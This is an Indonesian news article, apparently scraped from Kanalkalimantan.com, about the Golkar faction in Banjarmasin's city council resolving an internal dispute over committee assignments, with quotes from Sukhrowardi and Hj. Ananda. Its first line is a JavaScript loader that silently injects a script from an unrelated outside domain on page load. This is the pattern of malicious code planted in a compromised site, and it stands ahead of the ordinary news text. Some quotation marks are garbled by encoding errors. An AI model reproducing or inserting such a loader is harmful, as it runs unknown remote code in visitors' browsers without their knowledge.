(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Setelah sempat diwarnai interupsi pada rapat paripurna penyusunan alat kelengkapan dewan (AKD) di tubuh Fraksi Partai Golkar (FPG) pada Selasa (1/10) lalu, akhirnya fraksi beringin ini menyepakati susunan AKD untuk mengisi empat komisi di DPRD Kota Banjarmasin, Rabu (2/10) pagi.
Dalam penyampaiannya, Ketua FPG Sukhrowardi menepis adanya kisruh internal di tubuh fraksi, dan telah mencapai kesepakatan bersama.
Ditemui usai rapat paripurna pembentukan AKD, Sukhrowardi menyebut, terjadinya perbedaan pendapat di internal fraksinya adalah hal yang wajar. “Perbedaan pendapat itu merupakan bagian daripada membangun kepercayaan, bahwa ada perbedaan adalah kunci kekuatan kami tidak pernah tidak selesai,” kata Sukhrowardi kepada Kanalkalimantan.com, Rabu (2/10).
Sukhrowardi menggarisbawahi, setiap permasalahan yang ada di internalnya selalu mengedepankan demokratisasi. “Di manapun dan saat apapun jika ada problem. Kita keluarkan (keputusan) dan itulah dinamika, daripada tidak disampaikan dan tidak diselesaikan,” tegasnya.
Disinggung soal kesepakatan di internal FPG dalam penyusunan AKD, Sukhrowardi mengatakan, anggota fraksi pohon beringin dapat bekerja langsung di setiap komisi. “Betul, (itu) harapan masyarakat sekarang,” katanya.
“Kita terus menginventarisir setiap problem di masyarakat kota Banjarmasin dari aspek infrastruktur, aspek kemasyarakatan, juga aspek kerukunan beragamanya karena di sini kan religius,” jelasnya.
Lantas, bagaimana dengan komunikasi internal fraksi pasca kisruh pada paripurna kemarin? “Lancar saja,” singkatnya.
Diberitakan sebelumnya, kisruh di internal FPG disebabkan oleh penyusunan AKD yang menurut Sukhrowardi disusun tanpa sepengetahuan dirinya. “Harus ketua fraksi mengetahui, jangan di belakang. Karena fraksi itu perpanjangan partai. Dalam hukum administrasi, yang disampaikan tandatangan fraksi bukan tanda tangan partai. Jangan menyalahi aturan,†kata Sukhrowardi dalam interupsinya pada rapat paripurna penyusunan AKD, Selasa (1/10) sore.
Sementara Ketua DPD Partai Golkar Banjarmasin Hj. Ananda yang juga Wakil Ketua DPRD Kota Banjarmasin langsung menanggapi interupsi Sukhrowardi. Menurut Ananda, apa yang dibacakan oleh Darma Sri Handayani merupakan surat resmi dari FPG DPRD Kota Banjarmasin yang ditandatangani oleh Wakil Ketua FPG Matnor Ali.
“Secara legalitas itu sah, kemudian apa yang dibacakan oleh Ibu Darma Sri Handayani itu adalah susunan AKD dari rapat pleno Partai Golkar Kota Banjarmasin. Dan itu adalah sumber hukum yang sah untuk rapat paripurna hari ini,†tegas Ananda.
Usai rapat paripurna, Hj. Ananda pun menuding ketua fraksi menyusunnya dengan ‘resepnya’ sendiri, tanpa melibatkan orang lain. “Sedangkan kami, (menyusun AKD) sesuai dengan AD ART partai. Kami melakukan rapat pleno yang dihadiri dewan penasehat dan pengurus DPD Kota Banjarmasin,†jelas Ananda.
Tudingan ini dibantah Sukhrowardi selaku ketua FPG DPRD Kota Banjarmasin. “Tidak. Tidak benar itu, saya tidak pernah menyusun sendiri. (Karena) saya orangnya kompromi dan Golkar adalah demokratis,†kata Sukhrowardi. (fikri)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.